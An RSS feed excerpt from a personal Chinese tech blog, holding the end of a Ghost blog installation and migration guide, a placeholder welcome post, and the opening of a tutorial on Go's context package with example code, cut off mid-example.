quit; # &#x9000;&#x51FA;&#x6570;&#x636E;&#x5E93;&#x7BA1;&#x7406;
</code></pre>
<h2 id="cap-33-%E5%AE%89%E8%A3%85ghostcli%E8%84%9A%E6%89%8B%E6%9E%B6">Cap 3.3 &#x5B89;&#x88C5;GhostCLI&#x811A;&#x624B;&#x67B6;</h2>
<pre><code class="language-bash">sudo npm install ghost-cli@latest -g # &#x5B89;&#x88C5;Ghost&#x811A;&#x624B;&#x67B6;

# &#x521B;&#x5EFA;ghost&#x6587;&#x4EF6;&#x5939;&#x7684;&#x7F51;&#x7AD9;&#x76EE;&#x5F55;,&#x6587;&#x4EF6;&#x5939;&#x540D;&#x53EF;&#x81EA;&#x5B9A;&#x4E49;
sudo mkdir -p /var/www/ghost

# &#x4F7F;&#x6587;&#x4EF6;&#x5939;&#x62E5;&#x6709;&#x6743;&#x9650;&#xFF0C;&lt;user&gt;&#x662F;&#x5F53;&#x524D;&#x7528;&#x6237;&#x540D;
# &#x4F8B;&#x5982;&#x5F53;&#x524D;&#x7528;&#x6237;&#x540D;&#x662F;ubuntu&#xFF0C;&#x90A3;&#x4E48;&#x5E94;&#x8BE5;&#x662F;&#xFF1A;sudo chown ubuntu:ubuntu /var/www/ghost
sudo chown &lt;user&gt;:&lt;user&gt; /var/www/ghost

# &#x8BBE;&#x7F6E;&#x8BFB;&#x5199;&#x6743;&#x9650;
sudo chmod 775 /var/www/ghost

# &#x8FDB;&#x5165;&#x6839;&#x76EE;&#x5F55;
cd /var/www/ghost

# &#x56FD;&#x5185;&#x673A;&#x5668;&#x5EFA;&#x8BAE;&#x4F7F;&#x7528;tbify&#x63D2;&#x4EF6;&#x8FDB;&#x884C;&#x5B89;&#x88C5; Ghost &#x535A;&#x5BA2;&#x5E73;&#x53F0;
sudo npm install -g tbify
tbify ghost install
# &#x975E;&#x56FD;&#x5185;&#x76F4;&#x63A5;
ghost install
</code></pre>
<p>&#x9009;&#x9879;&#x914D;&#x7F6E;:</p>
<ul>
<li><code>Enter your blog URL:</code> &#x535A;&#x5BA2;&#x5C55;&#x793A;&#x5730;&#x5740;&#xFF0C;&#x683C;&#x5F0F;:<code>http(s):(www.)example.com</code>&#xFF0C;&#x4E0D;&#x652F;&#x6301;ip&#x5730;&#x5740;&#x3002;</li>
<li><code>Enter your MySQL hostname:</code> &#x6570;&#x636E;&#x5E93;&#x4E3B;&#x673A;&#x5730;&#x5740;&#xFF0C;&#x56DE;&#x8F66;&#x9ED8;&#x8BA4;&#x662F;<code>localhost</code>&#x3002;</li>
<li><code>Enter your MySQL username: / Enter your MySQL password:</code> &#x6570;&#x636E;&#x5E93;&#x7528;&#x6237;&#x540D;/&#x5BC6;&#x7801;&#xFF0C;&#x4E0A;&#x9762;&#x5B89;&#x88C5;&#x7684;&#x6570;&#x636E;&#x5E93;&#x7528;&#x6237;&#x540D;&#x662F;<code>root</code>&#xFF0C;&#x5BC6;&#x7801;&#x662F;&#x81EA;&#x5DF1;&#x8BBE;&#x7F6E;&#x7684;&#x3002;</li>
<li><code>Enter your Ghost database name:</code> Ghost&#x535A;&#x5BA2;&#x6570;&#x636E;&#x5E93;&#x540D;</li>
<li><code>Do you wish to set up &quot;ghost&quot; mysql user?</code> &#x8BBE;&#x7F6E;&#x6570;&#x636E;&#x5E93;&#x7528;&#x6237;&#x540D;&#x4E3A;<code>ghost</code>&#xFF0C;&#x8FD9;&#x4E2A;&#x4E3A;&#x4E86;&#x907F;&#x514D;&#x6743;&#x9650;&#x592A;&#x5927;&#x5BFC;&#x81F4;&#x6570;&#x636E;&#x778E;&#x641E;&#xFF0C;Ghost&#x5B98;&#x65B9;&#x63A8;&#x8350;&#x662F;<code>y</code>&#x3002;</li>
<li><code>Do you wish to set up Nginx?</code> &#x81EA;&#x52A8;&#x5316;Nginx&#xFF0C;&#x63A8;&#x8350;<code>y</code>&#x3002;</li>
<li><code>Do you wish to set up SSL?</code> &#x914D;&#x7F6E;<code>SSL</code>&#x8BC1;&#x4E66;&#xFF0C;&#x63A8;&#x8350;<code>y</code>&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x6709;&#x8BC1;&#x4E66;&#x95EE;&#x9898;&#xFF0C;&#x8BF7;&#x67E5;&#x770B;&#x6587;&#x7AE0;&#x6700;&#x4E0B;&#x9762;&#x7684;&#x95EE;&#x9898;&#x3002;</li>
<li><code>Enter your email (For SSL Certificate):</code>&#x4E2A;&#x4EBA;&#x90AE;&#x7BB1;&#xFF0C;&#x914D;&#x7F6E;ssl&#x8BC1;&#x4E66;&#x9700;&#x8981;&#x7684;&#x90AE;&#x7BB1;&#x5730;&#x5740;&#x3002;</li>
<li><code>Do you wish to set up Systemd?</code> &#x4F7F;&#x7528;ghost&#x8FDB;&#x7A0B;&#x7BA1;&#x7406;&#x5DE5;&#x5177;&#xFF0C;&#x63A8;&#x8350;<code>y</code>&#xFF0C;&#x4E2A;&#x4EBA;&#x89C9;&#x5F97;&#x6D77;&#x661F;&#x3002;</li>
<li><code>Do you want to start Ghost?</code> &#x542F;&#x52A8;Ghost&#x535A;&#x5BA2;&#x5C31;&#x53EF;&#x4EE5;&#x8FDB;&#x5165;&#x7F51;&#x5740;&#x8BBF;&#x95EE;&#x3002;</li>
</ul>
<h1 id="charpter-4-%E6%81%A2%E5%A4%8D%E5%A4%87%E4%BB%BD%E6%95%B0%E6%8D%AE">Charpter 4 &#x6062;&#x590D;&#x5907;&#x4EFD;&#x6570;&#x636E;</h1>
<h2 id="cap-41">Cap 4.1</h2>
<p>&#x4EE5;&#x4E0A;&#x6B65;&#x9AA4;&#x5B89;&#x88C5;&#x597D; Ghost &#x4E4B;&#x540E;&#xFF0C;&#x767B;&#x5165;&#x540E;&#x53F0; <a href="https://example.com/ghost?ref=iobiji.com">https://example.com/ghost</a> &#x8BBE;&#x7F6E;&#x597D;&#x8D26;&#x53F7;&#x5BC6;&#x7801;&#x3002;</p>
<h2 id="cap-42-%E6%81%A2%E5%A4%8D%E5%AA%92%E4%BD%93%E4%B8%BB%E9%A2%98">Cap 4.2 &#x6062;&#x590D;&#x5A92;&#x4F53;&amp;&#x4E3B;&#x9898;</h2>
<pre><code class="language-bash"># &#x5C06;&#x5907;&#x4EFD;&#x7684;&#x538B;&#x7F29;&#x5305;&#x6570;&#x636E;(&#x5305;&#x542B;images\media\themes)&#x590D;&#x5236;&#x4E0A;&#x4F20;&#x5230;/var/www/ghost/content&#x76EE;&#x5F55;&#x4E0B;&#xFF0C;&#x8986;&#x76D6;&#x5373;&#x53EF;&#x3002;
sudo mv /&#x653E;&#x538B;&#x7F29;&#x5305;&#x7684;&#x8DEF;&#x5F84;/data.zip /var/www/ghost/content/data.zip

cd /var/www/ghost/content
# &#x89E3;&#x538B;
sudo unzip data.zip

# &#x4E00;&#x822C; ghost &#x51FA;&#x73B0;&#x5F02;&#x5E38;&#x53EF;&#x4EE5;&#x6267;&#x884C;&#x8FD9;&#x6761;&#x547D;&#x4EE4;&#x4F1A;&#x6709;&#x64CD;&#x4F5C;&#x63D0;&#x793A;&#xFF0C;&#x8FD9;&#x91CC;&#x5F3A;&#x5236;&#x8986;&#x76D6;&#x4E86;&#x6587;&#x4EF6;&#x5939;&#x5BFC;&#x81F4;&#x64CD;&#x4F5C;&#x6743;&#x9650;&#x53D8;&#x4E86;&#xFF0C;ghost doctor &#x4F1A;&#x7ED9;&#x51FA;&#x4FEE;&#x590D;&#x6307;&#x4EE4;&#xFF0C;&#x6267;&#x884C;&#x5373;&#x53EF;
ghost doctor

# &#x91CD;&#x542F;ghost&#x64AD;&#x5BA2;
ghost restart
</code></pre>
<h2 id="cap-43-%E6%89%BE%E5%88%B0labs">Cap 4.3 &#x627E;&#x5230;Labs</h2>
<p>&#x5982;&#x56FE;<a href="#charpter-2-%E5%A4%87%E4%BB%BD%E6%95%B0%E6%8D%AE">Labs</a></p>
<p>&#x70B9;&#x51FB; Open Importer &#x6309;&#x94AE; &#xFF0C;&#x7136;&#x540E;&#x5BFC;&#x5165;&#xFF5E;&#xFF5E;</p>
<p>&#x631E;&#x55D2;&#xFF0C;&#x606D;&#x559C;&#x4F60;&#xFF01;&#x81F3;&#x6B64;&#x8FC1;&#x79FB;&#x6062;&#x590D;&#x5B8C;&#x6BD5;&#x3002;</p>
<h1 id="charpter-5-%E5%9B%BE%E7%89%87%E4%BC%98%E5%8C%96">Charpter 5 &#x56FE;&#x7247;&#x4F18;&#x5316;</h1>
<p>&#x53C2;&#x8003;&#x4E4B;&#x524D;&#x5199;&#x7684;&#x4E00;&#x7BC7;&#x6559;&#x7A0B;<a href="https://iobiji.com/ghostpei-zhi-qi-niu-yun-jing-xiang-cun-chu/">GHOST&#x56FE;&#x7247;&#x4F18;&#x5316;</a></p>
<h1 id="charpter-6-ssl-%E7%BB%AD%E6%9C%9F">Charpter 6 SSL &#x7EED;&#x671F;</h1>
<p>Reference: <a href="https://ghost.org/docs/ghost-cli/?ref=iobiji.com#knowledgebase">Ghost Let&apos;s Encrypt</a></p>
<pre><code class="language-bash"># &#x7EC8;&#x7AEF;&#x6267;&#x884C;&#x5982;&#x4E0B;
sudo /etc/letsencrypt/acme.sh --cron --force --home &quot;/etc/letsencrypt&quot;
</code></pre>
<h1 id="charpter-61-%E6%B2%A1%E6%9C%89%E4%BA%86">Charpter 6.1 &#x6CA1;&#x6709;&#x4E86;</h1>
<blockquote>
<p>2023.12.5</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Coming soon]]></title><description><![CDATA[<p>This is &#x6797;&#x5C3D;&#x6B22;, a brand new site by  LeslieLin that&apos;s just getting started. Things will be up and running here shortly, but you can <a href="#/portal/">subscribe</a> in the meantime if you&apos;d like to stay up to date and receive emails when new content is published!</p>]]></description><link>https://iobiji.com/coming-soon/</link><guid isPermaLink="false">656e07c6e4d7c357bd9ade3c</guid><category><![CDATA[News]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Mon, 04 Dec 2023 17:09:26 GMT</pubDate><media:content url="https://static.ghost.org/v4.0.0/images/feature-image.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://static.ghost.org/v4.0.0/images/feature-image.jpg" alt="Coming soon"><p>This is &#x6797;&#x5C3D;&#x6B22;, a brand new site by  LeslieLin that&apos;s just getting started. Things will be up and running here shortly, but you can <a href="#/portal/">subscribe</a> in the meantime if you&apos;d like to stay up to date and receive emails when new content is published!</p>]]></content:encoded></item><item><title><![CDATA[深入浅出 Go Context]]></title><description><![CDATA[在 Go中，最重要的一个概念就是并发协程，它只需用一个关键字go就可以开启一个协程并运行。在并发协程中，由于超时、取消操作或者一些异常情况，往往需要进行抢占操作或者中断后续操作，比如在实际中当服务器端收到一个请求时，很可能需要发送几个请求去请求其他服务的数据，由于Go语法上的同步阻塞写法，我们一般会创建几个goroutine并发去做一些事情；那么这时候很可能几个goroutine之间需要共享数据，还有当request被取消时，创建的几个goroutine也应该被取消掉，那么这就是context的用武之地。]]></description><link>https://iobiji.com/hou-ru-go-context/</link><guid isPermaLink="false">656e0e57d732aa747eb2817d</guid><category><![CDATA[学习笔记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Mon, 26 Jun 2023 15:44:14 GMT</pubDate><media:content url="https://cdn.iobiji.com/2023/06/16536434298601653643429248.png" medium="image"/><content:encoded><![CDATA[<h1 id="0x01-%E5%89%8D%E8%A8%80">0x01 &#x524D;&#x8A00;</h1>
<img src="https://cdn.iobiji.com/2023/06/16536434298601653643429248.png" alt="&#x6DF1;&#x5165;&#x6D45;&#x51FA; Go Context"><p><code>Go Context</code> &#x662F; <code>Go</code> &#x8BED;&#x8A00;&#x6807;&#x51C6;&#x5E93;&#x4E2D;&#x7528;&#x4E8E;&#x5904;&#x7406;&#x8BF7;&#x6C42;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#x5305;&#xFF0C;&#x5B83;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x4F18;&#x96C5;&#x7684;&#x65B9;&#x5F0F;&#x6765;&#x4F20;&#x9012;&#x8BF7;&#x6C42;&#x76F8;&#x5173;&#x7684;<code>&#x4E0A;&#x4E0B;&#x6587;&#x4FE1;&#x606F;</code>&#xFF0C;&#x4F8B;&#x5982;<code>&#x8BF7;&#x6C42;&#x7684;&#x622A;&#x6B62;&#x65F6;&#x95F4;</code>&#x3001;<code>&#x7528;&#x6237;&#x8BA4;&#x8BC1;&#x4FE1;&#x606F;</code>&#x7B49;&#x3002;</p>
<h1 id="0x02-%E4%B8%BA%E4%BB%80%E4%B9%88%E9%9C%80%E8%A6%81-context">0x02 &#x4E3A;&#x4EC0;&#x4E48;&#x9700;&#x8981; Context?</h1>
<p>&#x5728; <code>Go</code>&#x4E2D;&#xFF0C;&#x6700;&#x91CD;&#x8981;&#x7684;&#x4E00;&#x4E2A;&#x6982;&#x5FF5;&#x5C31;&#x662F;&#x5E76;&#x53D1;&#x534F;&#x7A0B;&#xFF0C;&#x5B83;&#x53EA;&#x9700;&#x7528;&#x4E00;&#x4E2A;&#x5173;&#x952E;&#x5B57;<code>go</code>&#x5C31;&#x53EF;&#x4EE5;&#x5F00;&#x542F;&#x4E00;&#x4E2A;&#x534F;&#x7A0B;&#x5E76;&#x8FD0;&#x884C;&#x3002;&#x5728;&#x5E76;&#x53D1;&#x534F;&#x7A0B;&#x4E2D;&#xFF0C;&#x7531;&#x4E8E;&#x8D85;&#x65F6;&#x3001;&#x53D6;&#x6D88;&#x64CD;&#x4F5C;&#x6216;&#x8005;&#x4E00;&#x4E9B;&#x5F02;&#x5E38;&#x60C5;&#x51B5;&#xFF0C;&#x5F80;&#x5F80;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x62A2;&#x5360;&#x64CD;&#x4F5C;&#x6216;&#x8005;&#x4E2D;&#x65AD;&#x540E;&#x7EED;&#x64CD;&#x4F5C;&#xFF0C;&#x6BD4;&#x5982;&#x5728;&#x5B9E;&#x9645;&#x4E2D;&#x5F53;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x6536;&#x5230;&#x4E00;&#x4E2A;&#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x5F88;&#x53EF;&#x80FD;&#x9700;&#x8981;&#x53D1;&#x9001;&#x51E0;&#x4E2A;&#x8BF7;&#x6C42;&#x53BB;&#x8BF7;&#x6C42;&#x5176;&#x4ED6;&#x670D;&#x52A1;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x7531;&#x4E8E;<code>Go</code>&#x8BED;&#x6CD5;&#x4E0A;&#x7684;&#x540C;&#x6B65;&#x963B;&#x585E;&#x5199;&#x6CD5;&#xFF0C;&#x6211;&#x4EEC;&#x4E00;&#x822C;&#x4F1A;&#x521B;&#x5EFA;&#x51E0;&#x4E2A;<code>goroutine</code>&#x5E76;&#x53D1;&#x53BB;&#x505A;&#x4E00;&#x4E9B;&#x4E8B;&#x60C5;&#xFF1B;&#x90A3;&#x4E48;&#x8FD9;&#x65F6;&#x5019;&#x5F88;&#x53EF;&#x80FD;&#x51E0;&#x4E2A;<code>goroutine</code>&#x4E4B;&#x95F4;&#x9700;&#x8981;&#x5171;&#x4EAB;&#x6570;&#x636E;&#xFF0C;&#x8FD8;&#x6709;&#x5F53;<code>request</code>&#x88AB;&#x53D6;&#x6D88;&#x65F6;&#xFF0C;&#x521B;&#x5EFA;&#x7684;&#x51E0;&#x4E2A;<code>goroutine</code>&#x4E5F;&#x5E94;&#x8BE5;&#x88AB;&#x53D6;&#x6D88;&#x6389;&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x5C31;&#x662F;<code>context</code>&#x7684;&#x7528;&#x6B66;&#x4E4B;&#x5730;&#x3002;</p>
<p>&#x5728;&#x8BB2;<code>context</code>&#x4E4B;&#x524D;&#xFF0C;&#x5148;&#x8BF4;&#x8BF4;<code>channel</code>&#xFF0C;&#x4F7F;&#x7528; <code>channel</code>&#x4E5F;&#x53EF;&#x4EE5;&#x89E3;&#x51B3;&#x8FD9;&#x7C7B;&#x95EE;&#x9898;&#x3002;&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#xFF1A;</p>
<pre><code class="language-go">func main() {
	// &#x63A5;&#x6536;&#x5B8C;&#x6210;&#x52A8;&#x4F5C;&#x7684;&#x4FE1;&#x9053;
	stop := make(chan bool)
	// &#x63A5;&#x6536;&#x6D88;&#x606F;&#x7684;&#x7F13;&#x5B58;&#x4FE1;&#x9053;,&#x6570;&#x91CF;&#x4E3A; 10
	messages := make(chan string, 10)

	// &#x91CA;&#x653E;&#x8D44;&#x6E90;(&#x517B;&#x6210;&#x4F7F;&#x7528;&#x8D44;&#x6E90;&#x540E;&#x91CA;&#x653E;&#x8D44;&#x6E90;&#x7684;&#x597D;&#x4E60;&#x60EF;~)
	defer close(stop)
	defer close(messages)

	// consumer &#x65B0;&#x5EFA;&#x4E00;&#x4E2A;&#x534F;&#x7A0B;,&#x8D1F;&#x8D23;&#x6D88;&#x8D39;&#x5B8C;&#x6210;&#x4FE1;&#x9053;
	go func() {
		ticker := time.NewTicker(1 * time.Second)
		for _ = range ticker.C {
			// select &#x963B;&#x585E;&#x76D1;&#x542C; channel &#x7684; io &#x64CD;&#x4F5C;
			select {
			case &lt;-stop:
				fmt.Println(&quot;Job has stop...&quot;)
				return
			default:
				fmt.Printf(&quot;Received message: %s\n&quot;, &lt;-messages)
			}
		}
	}()

	// producer
	for i := 0; i &lt; 10; i++ {
		messages &lt;- fmt.Sprintf(&quot;I AM PRODUCER-%v&quot;, i)
	}
	time.Sleep(5 * time.Second)
	// &#x544A;&#x8BC9; stop &#x4FE1;&#x9053;,&#x6211;&#x8981;&#x4E2D;&#x6B62;&#x4E86;
	stop &lt;- true
	time.Sleep(1 * time.Second)
	fmt.Println(&quot;Process exit!&quot;)
}
</code></pre>
<p>&#x4E0A;&#x8FF0;&#x4F8B;&#x5B50;&#x4E2D;&#x5B9A;&#x4E49;&#x4E86;&#x4E00;&#x4E2A; <code>buffer</code> &#x4E3A;0&#x7684; <code>stop channel</code>  , <code>&#x5B50;&#x534F;&#x7A0B;</code>&#x8FD0;&#x884C;&#x7740;&#x5B9A;&#x65F6;&#x4EFB;&#x52A1;&#x3002;&#x5982;&#x679C;&#x4E3B;&#x534F;&#x7A0B;&#x9700;&#x8981;&#x5728;&#x67D0;&#x4E2A;&#x65F6;&#x523B;&#x53D1;&#x9001;&#x6D88;&#x606F;&#x901A;&#x77E5;<code>&#x5B50;&#x534F;&#x7A0B;</code>&#x4E2D;&#x65AD;&#x4EFB;&#x52A1;&#x9000;&#x51FA;&#xFF0C;&#x90A3;&#x4E48;&#x5C31;&#x53EF;&#x4EE5;&#x8BA9;<code>&#x5B50;&#x534F;&#x7A0B;</code>&#x76D1;&#x542C;&#x8FD9;&#x4E2A; <code>stop channel</code> &#xFF0C;&#x4E00;&#x65E6;<code>&#x4E3B;&#x534F;&#x7A0B;</code>&#x53D1;&#x51FA;<code>&#x4FE1;&#x53F7;</code>&#x6216;&#x8005;&#x5173;&#x95ED; <code>stop channel</code> &#xFF0C;&#x90A3;&#x4E48;<code>&#x5B50;&#x534F;&#x7A0B;</code>&#x5C31;&#x53EF;&#x4EE5;&#x9000;&#x51FA;&#x4E86;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x5B9E;&#x73B0;&#x4E86;<code>&#x4E3B;&#x534F;&#x7A0B;</code>&#x901A;&#x77E5;<code>&#x5B50;&#x534F;&#x7A0B;</code>&#x7684;&#x9700;&#x6C42;&#x3002;</p>
<p>&#x4F46;&#x5982;&#x679C;&#x662F;&#x7236;&#x5B50;&#x4EFB;&#x52A1;&#x7684;&#x540C;&#x6B65;&#x53D6;&#x6D88;&#x673A;&#x5236;&#xFF0C;&#x5C42;&#x7EA7;&#x66F4;&#x6DF1;&#x6B21;(&#x6BD4;&#x5982;&#x5B50;&#x4EFB;&#x52A1;&#x5305;&#x542B;&#x5B50;&#x4EFB;&#x52A1;&#xFF0C;&#x800C;&#x8FD9;&#x4E00;&#x5C42;&#x7684;&#x5B50;&#x4EFB;&#x52A1;&#x53C8;&#x5305;&#x542B;&#x4E0B;&#x4E00;&#x5C42;&#x5B50;&#x4EFB;&#x52A1;)&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4F7F;&#x7528; <code>channel</code>&#x5C06;&#x53D8;&#x5F97;&#x590D;&#x6742;&#x7E41;&#x7410;&#x3002;</p>
<h2 id="context-%E5%8E%9F%E7%90%86">context &#x539F;&#x7406;</h2>
<p>&#x5148;&#x8BA9;&#x6211;&#x4EEC;&#x6765;&#x770B;&#x770B; <code>context</code>&#x7684;&#x5B9E;&#x73B0;&#x539F;&#x7406;</p>
<h3 id="context-%E6%8E%A5%E5%8F%A3">context &#x63A5;&#x53E3;</h3>
<pre><code class="language-go">type Context interface {
    // &#x8FD4;&#x56DE;&#x4E0E;&#x6B64;&#x4E0A;&#x4E0B;&#x6587;&#x5173;&#x8054;&#x7684;&#x53D6;&#x6D88;&#x51FD;&#x6570;&#x3002;
    Done() &lt;-chan struct{}

    // &#x8FD4;&#x56DE;&#x6B64;&#x4E0A;&#x4E0B;&#x6587;&#x7684;&#x622A;&#x6B62;&#x65F6;&#x95F4;&#xFF08;&#x5982;&#x679C;&#x6709;&#xFF09;&#x3002;
    // &#x5982;&#x679C;&#x6CA1;&#x6709;&#x622A;&#x6B62;&#x65F6;&#x95F4;&#xFF0C;&#x5219;ok&#x4E3A;false&#x3002;
    Deadline() (deadline time.Time, ok bool)

    // &#x8FD4;&#x56DE;&#x6B64;&#x4E0A;&#x4E0B;&#x6587;&#x7684;&#x952E;&#x503C;&#x5BF9;&#x6570;&#x636E;&#x3002;
    Value(key interface{}) interface{}
}
</code></pre>
<p><code>context</code>&#x63A5;&#x53E3;&#x56DB;&#x4E2A;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x65B9;&#x6CD5;:</p>
<blockquote>
<ul>
<li><code>Deadline</code> &#x8FD4;&#x56DE;&#x7ED1;&#x5B9A;&#x5F53;&#x524D; <code>context</code> &#x7684;&#x4EFB;&#x52A1;&#x88AB;&#x53D6;&#x6D88;&#x7684;&#x622A;&#x6B62;&#x65F6;&#x95F4;&#xFF1B;&#x5982;&#x679C;&#x6CA1;&#x6709;&#x8BBE;&#x5B9A;&#x671F;&#x9650;&#xFF0C;&#x5C06;&#x8FD4;&#x56DE; ok == false &#x3002;</li>
<li><code>Done</code> &#x5F53;&#x7ED1;&#x5B9A;&#x5F53;&#x524D; <code>context</code> &#x7684;&#x4EFB;&#x52A1;&#x88AB;&#x53D6;&#x6D88;&#x65F6;&#xFF0C;&#x5C06;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x5173;&#x95ED;&#x7684; <code>channel</code> &#xFF1B;&#x5982;&#x679C;&#x5F53;&#x524D; <code>context</code> &#x4E0D;&#x4F1A;&#x88AB;&#x53D6;&#x6D88;&#xFF0C;&#x5C06;&#x8FD4;&#x56DE; nil &#x3002;</li>
<li><code>Err</code> &#x5982;&#x679C; <code>Done</code> &#x8FD4;&#x56DE;&#x7684; <code>channel</code> &#x6CA1;&#x6709;&#x5173;&#x95ED;&#xFF0C;&#x5C06;&#x8FD4;&#x56DE; nil ;&#x5982;&#x679C; <code>Done</code> &#x8FD4;&#x56DE;&#x7684; <code>channel</code> &#x5DF2;&#x7ECF;&#x5173;&#x95ED;&#xFF0C;&#x5C06;&#x8FD4;&#x56DE;&#x975E;&#x7A7A;&#x7684;&#x503C;&#x8868;&#x793A;&#x4EFB;&#x52A1;&#x7ED3;&#x675F;&#x7684;&#x539F;&#x56E0;&#x3002;&#x5982;&#x679C;&#x662F; <code>context</code> &#x88AB;&#x53D6;&#x6D88;&#xFF0C; <code>Err</code> &#x5C06;&#x8FD4;&#x56DE; <code>Canceled</code> &#xFF1B;&#x5982;&#x679C;&#x662F; <code>context </code>&#x8D85;&#x65F6;&#xFF0C; <code>Err </code>&#x5C06;&#x8FD4;&#x56DE; <code>DeadlineExceeded</code> &#x3002;</li>
<li><code>Value</code> &#x8FD4;&#x56DE; <code>context</code> &#x5B58;&#x50A8;&#x7684;&#x952E;&#x503C;&#x5BF9;&#x4E2D;&#x5F53;&#x524D; <code>key</code> &#x5BF9;&#x5E94;&#x7684;&#x503C;&#xFF0C;&#x5982;&#x679C;&#x6CA1;&#x6709;&#x5BF9;&#x5E94;&#x7684; <code>key</code> ,&#x5219;&#x8FD4;&#x56DE; nil &#x3002;</li>
</ul>
</blockquote>
<p><code>contxxt</code>&#x63A5;&#x53E3;&#x516D;&#x4E2A;&#x51FD;&#x6570;:</p>
<blockquote>
<ul>
<li>Background</li>
<li>TODO</li>
<li>WithCancel</li>
<li>WithDeadline</li>
<li>WithTimeout</li>
<li>WithValue</li>
</ul>
</blockquote>
<h3 id="context%E9%87%8D%E8%A6%81%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93">context&#x91CD;&#x8981;&#x7684;&#x7ED3;&#x6784;&#x4F53;</h3>
<p><strong>emptyCtx</strong></p>
<p>emptyCtx&#x672C;&#x8D28;&#x662F;&#x4E00;&#x4E2A;&#x6574;&#x578B;&#x7C7B;&#x578B;&#xFF0C;&#x4ED6;&#x5BF9;Context&#x63A5;&#x53E3;&#x7684;&#x5B9E;&#x73B0;&#xFF0C;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x5176;&#x5B9E;&#x662F;&#x4EC0;&#x4E48;&#x4E5F;&#x6CA1;&#x505A;&#xFF0C;&#x90FD;&#x662F;&#x4E00;&#x5806;&#x7A7A;&#x65B9;&#x6CD5;&#x3002;</p>
<pre><code class="language-go">// An emptyCtx is never canceled, has no values, and has no deadline. It is not
// struct{}, since vars of this type must have distinct addresses.
type emptyCtx int

func (*emptyCtx) Deadline() (deadline time.Time, ok bool) {
	return
}

func (*emptyCtx) Done() &lt;-chan struct{} {
	return nil
}

func (*emptyCtx) Err() error {
	return nil
}

func (*emptyCtx) Value(key any) any {
	return nil
}

func (e *emptyCtx) String() string {
	switch e {
	case background:
		return &quot;context.Background&quot;
	case todo:
		return &quot;context.TODO&quot;
	}
	return &quot;unknown empty Context&quot;
}

var (
	background = new(emptyCtx)
	todo       = new(emptyCtx)
)

// Background returns a non-nil, empty Context. It is never canceled, has no
// values, and has no deadline. It is typically used by the main function,
// initialization, and tests, and as the top-level Context for incoming
// requests.
func Background() Context {
	return background
}

// TODO returns a non-nil, empty Context. Code should use context.TODO when
// it&apos;s unclear which Context to use or it is not yet available (because the
// surrounding function has not yet been extended to accept a Context
// parameter).
func TODO() Context {
	return todo
}
</code></pre>
<blockquote>
<p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x4E2D;&#x4F7F;&#x7528;new&#x4E86;&#x4E24;&#x4E2A;&#x7ED3;&#x6784;&#x4F53;&#x4E3A; <code>emptyCtx</code> &#x7684;&#x53D8;&#x91CF;background &#x548C; todo &#xFF0C;String()&#x65B9;&#x6CD5;&#x5F97;&#x610F; case&#x5BF9;&#x6BD4;&#x5F97;&#x51FA;&#x5BF9;&#x8C61;&#x3002;</p>
<p>Background&#x548C;TODO&#x8FD9;&#x4E24;&#x4E2A;&#x516C;&#x5171;&#x65B9;&#x6CD5;&#x662F;&#x8FD4;&#x56DE;background&#x548C;todo&#xFF1B;&#x5B98;&#x65B9;&#x5EFA;&#x8BAE;Background&#x7528;&#x505A;&#x9876;&#x5C42;&#x7684;context&#xFF0C;todo&#x770B;&#x8D77;&#x6765;&#x7528;&#x6765;&#x5360;&#x4F4D;&#x4F7F;&#x7528;&#xFF0C;&#x4E0D;&#x8FC7;&#x5B9E;&#x73B0;&#x6765;&#x8BF4;&#x4E24;&#x4E2A;&#x6CA1;&#x533A;&#x522B;</p>
</blockquote>
<p><strong>cancelCtx</strong></p>
<p>&#x901A;&#x8FC7;WithCancel&#x6765;&#x521B;&#x5EFA;&#x7684;&#x5C31;&#x662F;cancelCtx&#xFF0C;WithCancel&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;ctx&#x548C;cancel&#x65B9;&#x6CD5;&#xFF0C;&#x901A;&#x8FC7;&#x8C03;&#x7528;cancel&#x65B9;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x5C06;Context&#x53D6;&#x6D88;&#xFF0C;&#x6765;&#x63A7;&#x5236;&#x534F;&#x7A0B;&#xFF0C;&#x5177;&#x4F53;&#x770B;&#x4E0B;&#x9762;&#x4F8B;&#x5B50;&#xFF1A;</p>
<pre><code class="language-go">func fixLeakingByContext() {
	// &#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x5E26;&#x6709;&#x53D6;&#x6D88;&#x65B9;&#x6CD5;&#x7684;&#x4E0A;&#x4E0B;&#x6587;
	ctxWithCancel, cancel := context.WithCancel(context.Background())
	// &#x91CA;&#x653E;&#x8D44;&#x6E90;
	defer cancel()

	// &#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x4FE1;&#x9053;
	doChan := make(chan interface{})

	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)

	// &#x5F02;&#x6B65;&#x53D6;&#x6D88;
	go func() {
		cancel()
	}()
	// &#x968F;&#x673A;&#x89E6;&#x53D1;&#x67D0;&#x4E2A;&#x5B50;&#x534F;&#x7A0B;
	doChan &lt;- 1
	// &#x4F11;&#x7720;&#x4E00;&#x4E0B;&#x65B9;&#x4FBF;&#x770B;&#x5230;&#x6548;&#x679C;
	time.Sleep(1 * time.Second)
